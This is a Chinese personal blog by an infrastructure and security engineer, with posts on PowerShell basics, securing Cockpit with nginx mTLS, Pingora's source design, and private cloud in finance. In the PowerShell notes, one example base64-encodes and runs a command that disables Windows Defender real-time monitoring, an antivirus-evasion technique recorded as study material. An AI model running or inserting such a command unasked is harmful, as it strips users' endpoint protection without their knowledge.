关于

Predmet Chen (chengongpp) 是现居杭州的一名基础软件工程师,主要搞云、网络开发和安全,偶尔看看版式设计。

本站是Predmet的个人博客,使用mdBookCloudflare Pages构建。

本站目前使用的字体是InterIntel One Mono

联系方式

邮箱:chengongpp【@】bupt.cn

博客:https://predmet.ch

GitHub:https://github.com/chengongpp

Twitter:https://twitter.com/predmetch

Telegram Channel:https://t.me/prdm_thoughts

徽章

  • 全国网络安全行业职业技能大赛一等奖 #3 of National Cyber Security Skills Competition 2023
  • 浙江省金融五一劳动奖章 Zhejiang May 1st Labor Medal of Finance
  • 浙江省网络安全运维工程师职业技能竞赛二等奖 #3 of Zhejiang SecOps Skills Competition 2024

证书

  • OSCP+
  • OSEP/OSWE
  • OSWA/OSWP/OSDA
  • CISP
  • PMP
  • CCRC信息安全管理体系审核员 CCRC-ISMS
  • 翻译专业资格(英语三级笔译) CATTI Level-3 English Translator
  • 软考信息安全工程师(中级) Qualification of Computer and Software Professional (InfoSec Engineer)

一切都会过去。


引流标签:IaaS 云原生 云安全 混合云 基础软件 linux 渗透测试 攻防对抗 红蓝演练 DevSecOps 信创 自主可控 架构师 信息安全 企业安全 centos arch linux

Linux运维一分钟了解PowerShell

2024-08-27, 杭州

学OffSec课程不可不品的就是对PowerShell的运用,简单记录一下。

系统信息

Get-ComputerInfo
Get-Process
Get-Service
Get-EventLog -LogName Application | Select-Object -First 10

服务管理

Get-Service -Name Tailscale | Format-List
Start-Service -Name Tailscale
Stop-Service -Name Tailscale
Restart-Service -Name Tailscale

网络管理

Get-NetAdapter | Format-List
Get-NetTcpConnection

字符串操作

Select-String -Path hosts -Pattern ''
Get-ComputerInfo | Select-String "OS Name"

用户管理

Get-LocalUser
Get-LocalGroup
Get-LocalGroupMember -Group Administrators

命令行操作

Get-Command ls
Get-Alias
Get-Help Get-Command
Get-Process | ForEach-Object { $_.Name }

实用工具

Get-FileHash -Algorithm SHA256 download.zip
Invoke-RestMethod -Uri https://example.com/api -Method GET
Invoke-Expression -Command "ls"

进阶用法

反射加载dotnet

[Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")

使用base64编码执行

[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Set-MpPreference -DisableRealtimeMonitoring $true'))
powershell.exe -e UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=

使用WinRM 5985端口远程连接

Enter-PSSession -ComputerName localhost

使用mTLS保护Cockpit

2024-03-03, 杭州

Cockpit是企业级Linux(如CentOS、RHEL、Fedora和基于EL衍生出来的一众国产发行版等)开箱即用的网页端服务器管理面板,个人认为比某塔好用和安全得多,不知道为什么国内用的人不多。

如果你要用Cockpit官方的方式做mTLS,就得上FreeIPA之类的域控。但我只是想不被网络空间测绘工具测到这里有个登录面板然后被爆破。搁以往我会套一层Nginx,上auth_basic。但对Cockpit来说行不通,因为它已经使用了Authorization头来做用户登录认证。,而且这一点被官方标记为unfixable。有没有办法呢?有,在Nginx配置mTLS,如果不通,就会直接扔个400 Bad Request,攻击者从而无从嗅探背后究竟是个什么服务。

先自己签一套证书:

#!/usr/bin/env bash
openssl genpkey -algorithm RSA -out ca.key
openssl req -new -x509 -key ca.key -out ca.crt
openssl genpkey -algorithm RSA -out server.key
openssl req -new -key server.key -out server.csr
openssl x509 -req -in server.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out server.crt
openssl genpkey -algorithm RSA -out client.key
openssl req -new -key client.key -out client.csr
openssl x509 -req -in client.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out client.crt
openssl pkcs12 -export -out client.pfx -inkey client.key -in client.crt -certfile ca.crt

然后装载到nginx:

    server {
        listen         50505 ssl;
        server_name    _;
        ssl_certificate "/etc/pki/nginx/server.crt";
        ssl_certificate_key "/etc/pki/nginx/private/server.key";
        ssl_client_certificate "/etc/pki/nginx/ca.crt";
        ssl_verify_client on;
        ssl_session_cache shared:SSL:1m;
        ssl_session_timeout  10m;
        ssl_ciphers PROFILE=SYSTEM;
        ssl_prefer_server_ciphers on;


        location / {
            # Required to proxy the connection to Cockpit
            proxy_pass http://127.0.0.1:9090;
            proxy_set_header Host $host;
            proxy_set_header X-Forwarded-Proto $scheme;
            proxy_ssl_verify off;
            # Required for web sockets to function
            proxy_http_version 1.1;
            proxy_buffering off;
            proxy_set_header Upgrade $http_upgrade;
            proxy_set_header Connection "upgrade";

            # Pass ETag header from Cockpit to clients.
            # See: https://github.com/cockpit-project/cockpit/issues/5239
            gzip off;
        }
    }

然后Nginx到cockpit之间不搞加密,编辑/etc/cockpit/cockpit.conf

[WebService]
AllowUnencrypted = true
ProtocolHeader = X-Forwarded-Proto
Origins = https://pcvm00:50505 wss://pcvm00:50505
ForwardedForHeader = X-Forwarded-For

记得防火墙拦一下别让人直接访问Cockpit的9090端口。

然后重启Nginx和Cockpit:

systemctl restart nginx.service
systemctl restart cockpit.service

客户端

导入PFX格式的客户端证书到Windows,并信任自签的根证书,登录时选择自己的证书即可访问cockpit界面。

几分钟了解Pingora♿核心篇

2024-03-01, 杭州

之前Cloudflare宣称的用于替换Nginx的超高性能网关框架Pingora现在终于释出v0.1.0版了,为了蹭热度决定快速进行一个源码的读,这篇文章可能是简体中文网络上最早的源码解析。感觉源码copypasta的上下文切换很影响阅读体验,所以我尽量不出现大段源码,就算出现了,也可以直接跳过看下一段的总结。这份文章建议配合源码食用,不配合源码的话就当原理快速预览。啥都不想读就跳到太长不看

开始

需要注意,Pingora是一个框架,不是完整的二进制可执行文件分发,跟Nginx读nginx.conf然后直接起服务不同,你得自己写个rust把他包进去定义服务然后编译出二进制。看官方给的启动例子:

use async_trait::async_trait;
use pingora::prelude::*;
use std::sync::Arc;

fn main() {
    let mut my_server = Server::new(None).unwrap();
    my_server.bootstrap();

    // Note that upstreams needs to be declared as `mut` now
    let mut upstreams =
        LoadBalancer::try_from_iter(["1.1.1.1:443", "1.0.0.1:443", "127.0.0.1:343"]).unwrap();

    let hc = TcpHealthCheck::new();
    upstreams.set_health_check(hc);
    upstreams.health_check_frequency = Some(std::time::Duration::from_secs(1));

    let background = background_service("health check", upstreams);
    let upstreams = background.task();

    // `upstreams` no longer need to be wrapped in an arc
    let mut lb = http_proxy_service(&my_server.configuration, LB(upstreams));
    lb.add_tcp("0.0.0.0:6188");

    my_server.add_service(background);

    my_server.add_service(lb);
    my_server.run_forever();
}

关键要素:

此外,还不得不提,Pingora每次调整都得编译出新的可执行螃蟹🦀,你可能会想更换二进制时不停机热更新咋办,这就涉及到Pingora用的二进制可执行的网关之间做的热升级策略了

创建

可以看到调用了pingora::prelude::Server来启动服务。戳进pingora/src/lib.rs,可以看到引用了pingora_corepingora_httppingora_timeout三个核心组件,然后根据缓存、负载均衡和反向代理三个场景,用feature区分出调用的具体的crate。

例子里调用了Server,可以认为这是核心服务了,跟进,参数看不懂啦,直接看怎么新建然后跑起来的。

直接看Server::new标准起手,做一对tx和rx用来告诉服务何时退出。然后根据传参生成配置。传参包括命令行参数(opt)和配置文件(conf,以YAML格式)两类。没conf的话就自己造一个空的YAML Self::from_yaml("---\nversion: 1").ok(),序列化到ServerConf类,然后空跑。有conf就先加载conf,然后用传入的参数覆盖配置值。

再次强调,Pingora的配置文件主要是配运行时的参数,服务定义是在Rust里包着的。

预热

结构建起来之后,各类服务都需要塞到Server里,在这之前,我们需要先bootstrap摇热做些准备工作。摇热无非就是在内存里把结构体创建好该塞的参数塞进去。不过bootstrap里面最好玩的是这句

#![allow(unused)]
fn main() {
match self.load_fds(self.options.as_ref().map_or(false, |o| o.upgrade)) {}
}

看他要的参数是ServerConf.upgrade,这个参数的说明是 Whether this server should try to upgrade from an running old server ,这个服务是不是要从正在跑着的旧服务热升级上来。函数名叫Server::load_fds,进去看,发现它试着把从Serverconf.upgrade_sock记载的sock用于通信,拿走老进程手上的文件描述符,然后加载到自己内存身上,从而实现热升级。注释也说了,这个参数标记升级用的sock地址,目的就是新进程和老进程之间协调零宕机时间热升级。是一手值得学习的设计。不过我们先考虑最一般的情况,热升级后面再说

预热完之后服务的结构在内存里就烤好了,不难发现,它是先注册好一堆服务再一口气跑起来的类型,所以接下来往里面塞各种服务。

集群负载

主要关注pingora_load_balancing::LoadBalancer结构。

值得注意,从它impl BackgroundService来看,集群负载本身是作为后台服务注册的,也就是它并非在每次有请求来的时候更新状态, 而是每时每刻都在后台异步运行。运行的入口方法则是LoadBalancer.start,这个方法会在Server启动时被调用。

可以看到一个循环里主要包含俩函数:self.updateself.backends.run_health_check。这俩函数是否能运行取决于有没有设频率,没设频率的话直接把下次运行时间推到timestamp的尽头。其中,一个自然是健康检查,另一个自然是服务发现。

而从结构体来看,符合直觉,pingora_load_balancing::LoadBalancer是建立在Backend之上的,这正好比Nginx里的:

upstream cluster1 {
    server 100.114.51.4:1919;
    server 100.114.51.5:1919;
}

注释提到,为了实现探活和服务发现,LoadBalancer需要以pingora_core::services::background::BackgroundService跑起来,Service这个概念现在还不清楚,先看最关键的LoadBalancerBackendsBackend三个结构。

单个Backend没啥好考虑的,后端地址、权重和哈希罢了。哈希算法用的就是rust标准库的哈希。

Backend凑成Backends就很好玩了。配合LoadBalancer一起看,

#![allow(unused)]
fn main() {
pub struct LoadBalancer<S> {
    backends: Backends,
    selector: ArcSwap<S>,

    pub health_check_frequency: Option<Duration>,
    pub update_frequency: Option<Duration>,
    pub parallel_health_check: bool,
}

pub struct Backends {
    discovery: Box<dyn ServiceDiscovery + Send + Sync + 'static>,
    health_check: Option<Arc<dyn health_check::HealthCheck + Send + Sync + 'static>>,
    backends: ArcSwap<BTreeSet<Backend>>,
    health: ArcSwap<HashMap<u64, Health>>,
}
}

可以认为Backends负责决定有哪些服务可以用,LB负责指挥具体路由到谁的策略。抽象起来意思就是存一堆后端的索引结构选择要转发的后端,多久做一次健康检查,多久做一次服务发现。这些就是考虑负载设计时的根本要素。

索引结构

backends: ArcSwap<BTreeSet<Backend>>,给不懂Rust的读者解释一下就是支持原子操作的智能指针指向一个B树索引集合,树上挂着一堆Backend。接下来的三个部分都会对这个结构这这拨弄

后端选择

LoadBalancer做了个泛型,要求选择机制必须满足BackendSelection trait。

#![allow(unused)]
fn main() {
pub trait BackendSelection {
    type Iter;
    fn build(backends: &BTreeSet<Backend>) -> Self;
    fn iter(self: &Arc<Self>, key: &[u8]) -> Self::Iter
    where
        Self::Iter: BackendIter;
}

pub trait BackendIter {
    fn next(&mut self) -> Option<&Backend>;
}
}

大致意思就是通过build从LB所拥有的后端建立出一个机制,然后这个机制调用iter得到一个迭代器,这个迭代器每次迭代都能得出下一个可能的后端,就实现了选择。

自带的LB当中,对BackendSelection有两个实现,一个是Kentama一致性哈希选择,另一个是可以往泛型算法槽里填充指定加权算法的加权选择。

Kentama说白了就是“后端地址维持”,固定的源IP过来,算出来的哈希值就是固定的后端。

而加权的算法使用一个存有后端、权重和算法的结构实现,这个用俩数组做一一映射的结构也值得思考:

#![allow(unused)]
fn main() {
pub struct Weighted<H = FnvHasher> {
    backends: Box<[Backend]>,
    weighted: Box<[u16]>,
    algorithm: H,
}

impl<H> SelectionAlgorithm for H
where
    H: Default + Hasher,
{
    fn new() -> Self {
        H::default()
    }
    fn next(&self, key: &[u8]) -> u64 {
        let mut hasher = H::default();
        hasher.write(key);
        hasher.finish()
    }
}

}

容许的选择算法是只要有Defaultstd::hash::Hasher这俩trait就行。说白了就是新建一个不传初始状态的哈希器要用到Default,然后摇哈希需要用到Hasher。

默认提供了轮询(RoundRobin)、随机(Random)和FNV Hash三种算法。

健康检查

这里我们只要关注pingora_load_balancing::health_check::HealthCheck定义的trait:异步的检查函数和判断检查失败/检查成功的阈值。至于探测方法,TcpHealthCheckHttpHealthCheck都各自实现了这个trait。而对于每个后端来说,它的健康状态是由pingora_load_balancing::health_check::Health来表示的:

#![allow(unused)]
fn main() {
#[derive(Clone)]
struct HealthInner {
    healthy: bool,
    enabled: bool,
    consecutive_counter: usize,
}

pub(crate) struct Health(ArcSwap<HealthInner>);
}

一个原子操作结构,调整:是否健康、是否启用,以及该后端健康检查的失败次数。失败次数大于阈值就将标志位设成不健康。需要注意,真实世界的业务是复杂的,健不健康和启不启用是两回事,所以healthy和enabled要分开记录和看待。

服务发现

目前Pingora提供了服务发现的接口和一个纯静态的服务发现实现。服务发现的接口trait是pingora_load_balancing::discovery::ServiceDiscovery,可以看到只要求实现discover方法,就可以在上述的后台服务大循环里被调用。除了返回发现的后端服务器Backend集合以外,还可以返回HashMap用于指示Backend的可用状态(默认可用)。内置的纯静态的服务发现则只是单纯从它所接收的参数构建可用的Backends,不管活不活。

服务和监听

你看到这里大概会期待类似Nginx里的server { listen 80; }的东西,但Pingora把他归类到服务中。所以先看看Pingora的服务模型。

Pingora的事件驱动看起来是基于tokio做的(当然,运行时也有不需要tokio的NoSteal),所以它异步事件风味很浓。请看pingora_core::services::Service

先看注释里的两个定义。

  • 服务(Service):在Pingora服务器上一直跑着直到服务器停机他才停的玩意。有两种服务很好用:
    • 监听服务:监听服务就是守在端点接受请求给响应的服务。服务可以加业务逻辑,也可以一个服务监听多个端点。
    • 后台服务:不在请求-响应生命周期里,单独跑着的逻辑代码。

根据例子不难猜测,Pingora的服务模型是服务器启动之前先把一系列服务注册上去,服务器启动时会把服务异步转起来,关停时会走频道传信号让服务凋亡。

再看看源码:

#![allow(unused)]
fn main() {
#[async_trait]
pub trait Service: Sync + Send {
    async fn start_service(&mut self, fds: Option<ListenFds>, mut shutdown: ShutdownWatch);

    fn name(&self) -> &str;

    fn threads(&self) -> Option<usize> {
        None
    }
}

#[cfg_attr(not(doc_async_trait), async_trait)]
pub trait BackgroundService {
    async fn start(&self, mut shutdown: ShutdownWatch);
}
}

也就是说:能攥着一堆fd异步启动的,有名字的,有建议线程数的,就叫服务了。注意名字主要拿来打日志,只会用前16个字节。异步启动里塞了个关停watch,停服务时这个信号会传进去让服务自己凋亡。

而后台服务则是在trait埋了个异步start方法,服务器启动时就会试图触发这个异步方法做启动。至于怎么拉起来的,我们后面再说。现在再看看监听。

监听服务

pingora_core::services::listening::Service<A>

按注释:监听服务就是守在端点接受请求给响应的服务。服务可以加业务逻辑,也可以一个服务监听多个端点。结构很诚实反映了这点:

#![allow(unused)]
fn main() {
pub struct Service<A> {
    name: String,
    listeners: Listeners,
    app_logic: Arc<A>,
    /// 建议线程数
    pub threads: Option<usize>,
}
}

需要注意,监听器-业务逻辑两者设计上是解耦的,创建服务时可以创建只有业务逻辑而尚未添加监听端口的,然后再往上加,服务本身负责将他们绑定。但一定要在Pingora服务器启动前加好,不然就只能等后面发动热更新了。

监听器

先看看监听器套娃。

#![allow(unused)]
fn main() {
use tokio::net::{TcpListener, UnixListener};

pub struct Listeners {
    stacks: Vec<TransportStackBuilder>,
}

pub(crate) struct TransportStack {
    l4: ListenerEndpoint,
    tls: Option<Arc<Acceptor>>,
    upgrade_listeners: Option<ListenFds>,
}
pub struct ListenerEndpoint {
    listen_addr: ServerAddress,
    listener: Option<Listener>,
}
pub enum Listener {
    Tcp(TcpListener),
    Unix(UnixListener),
}
impl Listener {
    pub async fn accept(&self) -> io::Result<Stream> {
        match &self {
            Self::Tcp(l) => l.accept().await.map(|(stream, _)| stream.into()),
            Self::Unix(l) => l.accept().await.map(|(stream, _)| stream.into()),
        }
    }
}
}

它设计上就是考虑且只考虑一个服务当中,同时监听多个四层的,TCP/UDS/TLS端口异步接受请求,的情况。注意是UDS,Unix Socks,不是UDP。

关注async fn ListenerEndpoint.listen方法,发现他居然有个fds参数和一大坨逻辑,这个参数也是配合热升级用的,这里先不管,会发现它就是绑个端口罢了,没别的。

再关注accept方法,对上面封了一层,加了个对Listener的防呆,然后就返回接受新请求的流。包到TransportStack就把TCP和TLS封装到一个未初始化流里,给个握手函数。这么做是因为TCP建立连接后不用握手,TLS用,匹配到是TLS就先做个握手,是TCP就直接变成能用的流了。

拿到流,剩下的事情就不用监听器管了。这个流就进入了业务逻辑的视角。不过要想把流交给业务逻辑,还得先把业务逻辑和监听器绑在一起。

业务逻辑

listening::Service<A>的泛型A就是用于编写业务逻辑的接口。要想能被start_service启动,业务逻辑(TCP层)必须实现trait:pingora_core::apps::ServerApp,其中的process_new(Stream, &ShutdownWatch) -> Option<Stream>方法就是业务逻辑的主体入口部分了,你要做业务逻辑二开就从这儿入手。这儿你直接拿到的正是上面监听器帮你处理好的TCP流,做你想做的事情就完事了。这里的返回值是Option<Stream>,大有作用,见下一节。

业务逻辑和监听器的绑定

把业务逻辑和监听器真正绑在一起的地方是监听服务的启动入口pingora_core::services::listening::Service<A>::start_service

前面说过这个方法在Pingora启动时会被调用,它调用之后就是:过一遍监听器看有几个监听,把业务逻辑代码克隆N份,每份跟每个监听都扔到一个Service<A>::run_endpoint方法实例里,然后在Pingora服务器的tokio实例里刷这N个方法实例异步跑起来,然后阻塞等待。

继续跟入这个方法,里面是一个大loop,来了,我们最期待的大loop来了!(当然后面还有别的loop要讲)。里面就是经典的tokio监听事件,是关停事件就跳出loop做打扫,是新连接就拿到流了,克隆一份关闭频道,克隆一份业务逻辑,再刷个Service<A>::handle_event方法实例把流、逻辑和关闭频道扔进tokio里异步跑起来。

继续跟入handle_event,这里比较妙的设计是连接复用的判断。它会调用业务逻辑的process_new方法处理这个流,如果是短连接,你处理完返回None,方法实例就结束了。如果是长连接复用,你返回Some,它就会循环重入process_new,直到业务逻辑返回None

监听(绑定端口),接受(获得流),处理和响应(读写流,关闭流),成了!现在我们来看看后台服务。

后台服务

像上面说的服务发现、负载均衡,以及服务自身状态上报之类,都是服务器自己在后台主动去做,反复做,不需要请求响应触发的业务。这些服务就是后台服务。

后台服务的业务逻辑需要实现pingora_core::services::BackgroundService,这个trait里只有一个start方法,这个方法在一个impl里包进了start_service,这个函数跟着服务实例,会在Pingora服务器启动时被遍历调用,传入一个关闭频道,然后异步跑起来。Pingora赠送了个结构和默认方法:

#![allow(unused)]
fn main() {
pub struct GenBackgroundService<A> {
    name: String,
    task: Arc<A>,
    pub threads: Option<usize>,
}
pub fn background_service<SV>(name: &str, task: SV) -> GenBackgroundService<SV> {
    GenBackgroundService::new(format!("BG {name}"), Arc::new(task))
}
}

泛型A就是后台服务的业务逻辑,在注册服务时调用background_service方法把你写的后台服务传参进去,就会生成一个通用后台服务结构,把这个结构当作服务注册到Pingora身上就行。后台服务可以随时提前返回终止。

服务注册

Server实例有个services: Vec<Box<dyn Service>>结构,调用Server.add_service或者Server.add_services把服务挂上去就行了,服务器启动的速度是人手的数倍,服务器舒服了自己会帮你调用拉起服务的。这就是接下来的启动环节。

启动

一切准备就绪,🚀调用run_forever就把服务跑起来了🚀,感觉高松灯会喜欢。需要注意文档中提到对Server对象来说这个函数必须最后调用,因为它阻塞

首先是经典加参数自行daemonize,值得注意的是双叉之前调用了超时管理器的暂停,因为超时管理器有个RwLock,这玩意在进程间传递是UB,所以要暂停一下等所有锁释放。你可能会觉得启动时不应该有锁,但这是个开放出去的函数,鬼知道调用它的程序员在启动前会做什么。此外文档中提到双叉时需要注意在 POSIX 标准中,当一个多线程程序调用fork()时,只有调用fork()的线程被复制到子进程中;其他线程并不会在新创建的子进程中存在。所以你在调这函数之前如果玩了多线程操作,可能会丢线程然后玩脱。

然后发现,一个Server实例会有多个运行时。先是给每个服务调用start_service,他就把刚才说的services遍历一遍,每个服务都创建一个异步运行时,刷个实例跑服务,然后返回runtime。

此外服务器自己也有个运行时,用来跑整个服务器的主循环pingora_core::Server.main_loop,在主循环挡住,不然上面一堆服务的runtime还没来得及工作呢主协程就跑退出了。这里全是些接收信号然后安详退出/快速退出的逻辑,稀松平常。不过同样值得注意的是留了个信号位给热升级。

热升级

主要逻辑全都讲完了,现在我们来看看热升级的逻辑。这里主要是用了Unix的特性SCM_RIGHTS来实现的。

       SCM_RIGHTS
              Send or receive a set of open file descriptors from
              another process.  The data portion contains an integer
              array of the file descriptors.

根据猛男页的说法,这玩意就是用来进程间传fd的。考虑到端口监听也是fd,Pingora通过使用unix sock在老进程和新进程之间传递监听的fd来实现不停机升级。

先看服务器配置格式里的:

#![allow(unused)]
fn main() {
#[derive(Debug, PartialEq, Eq, Serialize, Deserialize)]
#[serde(default)]
pub struct ServerConf {
    ..
    pub upgrade_sock: String,
    ..
}
pub struct Opt {
    ..
    pub upgrade: bool,
    ..
}
}

新老进程使用的配置文件当中,upgrade_sock字段必须保持一致来递交fd,并且新进程要求upgrade,才会进行热升级。

重新回到Server.bootstrap,预热到了load_fds这一步,就会开始找老登要fd。顺着get_from_sock看,Fds调用get_fds_from从老登那把fd全拿过来,然后再反序列化装入自身。然后再在load_fds把自己交给Server做后面的操作。从这儿开始吧。

新老进程递交fd

递交fd的通信协议基本都在pingora_core::server::transfer_fd::Fds里定义。主要get_fds_from搭配send_fds_to一起看。

新进程先在get_fds_from拿到这个sock的地址,然后在监听之前就把文件系统上的老进程的sock文件删掉,自己监听个同名的。

这个时候向老进程送一个SIGQUITServer.main_loop里面tokio抓到信号,开始锁住自己监听的所有fd,然后调用send_to_sock将自己的fd记录表序列化调用send_fds_to送给新进程。先连接,如果中间没连接成功,还会重试几次。连接上了就开始使用SCM_RIGHTS送fd。新进程接收到之后就把fd反序列化装进Fds里了。

新进程将fd装载到服务

新进程到run_service时就会将整个程序所有的fds传入,到装载新的监听服务时fds跟入listening::Service<A>.start_service(),进而跟入build,在这里和新进程从rust定义的TransportStack会合,之后一并传入对应的listen函数。在这里,新进程定义的服务就会在老进程递交过来的fds表里挑,如果表里刚好找到了服务自己本来就想监听的地址,它就直接把这个fd拿走接着听了,就实现了平滑的过渡。

太长不看

本文的意义就是看一个高速网关服务的架构设计,所以我不知道到底想要什么结论,这里主要给一些只想看结论的人。

  • 为什么性能这么高这么快?

    因为这是用Rust写的。

    大概因为事件驱动用的tokio框架能相当充分榨干性能,而且内存分配器用jemalloc,数据结构用B树,地址哈希算法用Kentama和FNV。但这你该问跑benchmark和optimization的人,我只看了看网关核心设计。

  • 生产环境可以用吗?

    CF说他们生产跑得很稳。但它用rust定义规则再编出二进制执行程序,并且用sock进行二进制文件热更新,我觉得你但凡有点迟疑都说明你的企业担待不起。

    而且目前只支持Linux。

  • HTTP代理之类的功能呢?

    我还没看,这篇文章主要是蹭热度,叫核心篇,只看核心,后面有空再看HTTP和TinyUFO之类的神奇组件。

搞金融专有云计算一年余的感想

2023-08-11, 杭州

作为金融科技行业甲方,搞了下云,技术方面有些憋了很久的话,感觉想要说出口,和大家一起探讨。

合理的云计算改革方向是自顶向下的。是业务应用先演变云化,然后基础设施去适应业务需要,而不是为了上云而上云

直接讨论一个平常的情况,你把传统形态风味厚重的ERP、CRM应用挪到云上,不难发现,挪和不挪区别不大。资源文件堆到OSS和堆到静态文件目录下有什么区别呢?连上云原生数据库,分库分表等高级特性有用吗?还不如有点意识,搁云上是开启防勒索,搁云下每天半夜把库滚一份到远程服务器上冷备,不也是防勒索。

对于非云原生的应用(个人感觉国内集成商说的云原生比起榨干Cloudflare免费额度的小函数来说甚至算不上上云)来说,应用本身先发展,然后我们再需要各种云计算概念去支撑。以一个商户面客应用发展推演整个演化流程。

  1. 现阶段。整个应用就是小作坊搓出来,传统的servlet上面糊点Spring,然后硬生生加层扔进docker里,扔进云上,实际上也没有用到容器的部署、漂移、恢复能力,每次上线还是手动启停容器一个小时,手动改云上软LB的配置去摘流,痛苦面具。但说它有云的潜力也对,商户店面分租,多少也算SaaS,很有横向扩展的需求潜力。

  2. 演化到讲究PaaS的阶段。伴随业务发展,需要支撑万级并发,架构怎么做?稍微现代的方式,搞经典Java分布式,依赖几个虚拟机做高可用分布式的集群注册中心,可以用命名空间划分下不同的模块,然后DevOps推上去跑脚本,借注册中心和微服务协议自己的恢复能力,灰度摘流更新接流就好了。

  3. 真正讲究IaaS的阶段。业务持续发展,大江南北的人都要走你的系统下单,你光是收单,单点或双活的注册中心都要撑爆了。这个时候,祖国南北都堆可用区让人快速就近访问服务器;GTM做全局流量优化;静态资源前移到CDN加快分发;高性能API网关甚至服务网格分流查询浏览和秒杀交易,统管接口鉴权避免被人一秒脱裤;加点分析型数据库跑埋点跑客群模型跑风控;服务器达到了万台十万台级别,局部资源使用率升起来就要提前关注告警。

您看,这么多需求产品叠起来,再加上统管需求,才构成了我们现今超大超重的IaaS。

而另一些情况下,业务演变期间因为某些方面的侧重,会部署一些垂直领域的极端解决方案,比如数据备份有高要求所以堆了NBU,入侵防护有高要求所以堆了APT全流量,局部地方数据交换很猛烈所以搞了集中式存储乃至InfiniBand……上云之后这些问题反而不好解决了,多出来的部分我也用不着。那么,上云干嘛?

所以监管部门陆陆续续出指标让大家上云,也不能简单从淘汰IOE、基础设施技术栈换一套去理解。 不是意味着用最新潮的云技术组件就叫上云,而是成熟的云体系中各类产品能容纳各种体量的应用,云上应用系统充分利用云基础设施提供的可观测、可复制、可迁移、轻量化的优势。 系统集成商也应该充分意识到这一点。 ​

业务连续性第一,可观测性第二,可维护性第三,性能第四,“云功能”反而不重要

业务连续性第一毋庸置疑,不追求业务连续性的场合爱用什么技术栈都可以,不作讨论。接下来,为什么把可观测性放在可维护性之前,因为追求业务连续性时,观测比维护更重要。

可用性观测方面,云平台提供的可用性观测和告警能力真的能紧贴业务应用吗?如果业务应用设计上通用点,不贴着这个云平台的专门feature来设计(尤其在有的云平台技术选型很诡异,网络射来射去,underlay入侵乃至卡了overlay设计一道的情况),链路追踪和告警体系是不是就荒废、失灵了?

交易可观测方面,举个极端的例子,大规模机器挂了或者网络断了,假设有一些不平账的交易数据。重新对账对平的必要前提是把云上机器开起来吗?当然不是,是你能看得到拿得到追查得到这些交易数据。真正紧急的时刻,搬几台物理机过来直接并网,或者启用尘封的VM区,应用跑起来,上下游地址改改接过去,把丢失的交易拉去对账。这个时候要你云的可维护性有什么用?如果云上出事了第一时间看不到,出事后事故现场数据拿不到抢救不出来,那就真完蛋了。云相比较传统架构,带来的可维护性是甜点(甚至有时会开倒车),不是必要增益。但是现在市面上好些私有云平台,主打的是“产品化”,做个KVM高级套皮,结果镜像不方便旁挂,虚拟磁盘不方便第一时间取出来,反而为了产品和封装包了好多道意义不明的抽象,没有必要。

更有甚者,为了一次打包卖整个平台和后面的人工服务,整个云做得很封闭,传统VM架构本来能轻松(在硬件旁拉条线出到特定设备就可以)做到的流量可观测、物理机可观测,到云反而没有这样的能力了,设备旁挂会影响云的稳定性,组件取代会影响云的稳定性,你必须用云提供的一个粗糙封闭的云监控组件、日志组件做个大概的观测行为。这就好比你在路边摊吃桂林米粉,虽然不太正式,但什么料都可以自己加,吃得挺开心的,突然被人手脚绑起来,眼睛一蒙,你只听见饺子被呼啦倒在桌上的声音,然后被人按头吃桌饺。

又一个灵魂拷问,云的可维护性真的比传统VM方案要好么?回顾一下运维流程,不外乎是:人,界面,接口,平台本身。新鲜的WebUI是界面,古朴一点的WebUI也是界面,virsh也是界面,x11/wayland也是界面,在对界面进行比较时,技术是次要的,从交互设计角度来看,易于操作、易于理解、防呆、操作效率等方面才是打造界面最该关注的事情。

然而许多云厂商的界面似乎并没有经过UX团队的设计,抛出来的错误也不明就里,该做的前端数据校验卡口没做好,本来命令行能脚本批量的操作到GUI上反倒只能挨个点,面对大量数据加载时前端性能优化极差,访问控制模型做得比直接看/etc还杂乱……我列举的这些都还只是比较浅表的问题,但似乎好些云厂商在界面上,重复踩这些人类软件设计和交互设计已经踩了几十年的坑。

接口亦如是。国内一些平台的云管接口的风格让人感觉是做业务转过来似的,旧版本新版本接口层层叠加,参数传多传少不在乎,跑起来就是了;还有些很关键的接口,抱歉没做好不开放。最后反而导致,按传统VM架构百来台物理机cockpit或者ansible playbook糊一下,都比在已暴露的接口上做二开方便。

看当今云交付的时候往往喜欢打包一些先进的“云组件”“云特有功能”来卖。这些功能真的重要吗?云上面能一键拉镜像创建主备从高可用数据库,云下不也能拿脚本和预制镜像一次跑出来么?横向对比垂直领域厂商的方案,价格、性能、可用性和关键特性,云组件真的存在足够好的优势吗?弹性伸缩、节约资源,在专有云存在吗?从我摸过的好几家专有云厂商,对标垂直领域的网络、安全、存储(甚至有的厂商就是组件的提供商,不知道为什么上了云阉割成这样糟糕)等方案来看,并没有很显著的体现。

可以展望的云计算基础设施方向

这一部分写着心情比较复杂,也掺杂了大量的个人感受。一方面我们有稳健的国外老牌大厂的传统架构(主机、小型机、集中式存储等),另一方面我们有国产化指标,再一方面国外的云原生架构又演化出了很多更新潮的形态(Serverless、行数据库、向量数据库、云日志服务等)。所以这里的展望,还是从国内政企的专有云计算怎么走去思考。

扣回到2当中提的几个点。

业务连续性方面,计算和网络高可用,传统的vSphere vSAN集群和VEEAM等完备的VM服务能够做到物理机故障时热转移,对计算实例毫无干扰,而国内许多基于KVM & OpenStack的方案似乎仍有欠缺。但这几年,国内容器发展还是比较蓬勃,通过更智能的反亲和性部署,更迅速的容器网络流量调整,在不需要变动硬件虚拟化引擎和操作系统内核的前提下,从应用层面保障业务连续性是完全可行的。会是类似Linkerd2的透明服务网格+强调智能又高度灵活的拨流的模式吗?我感觉那样技术是先进的,但未必会符合国内开发的口味。

保守点想用虚拟机实例做高可用怎么办呢?寄希望于LVS或者内部用容器打散好的负载均衡,寄希望于平台本身在物理机上能把集群VM打散,通过探活和切端口,过上一种传统的高可用生活。存储高可用,这个感觉国产数据库普遍做得比较成熟了,然而跨地域调度同步的对象存储块存储等,似乎还在期望更好更快更稳的协议。

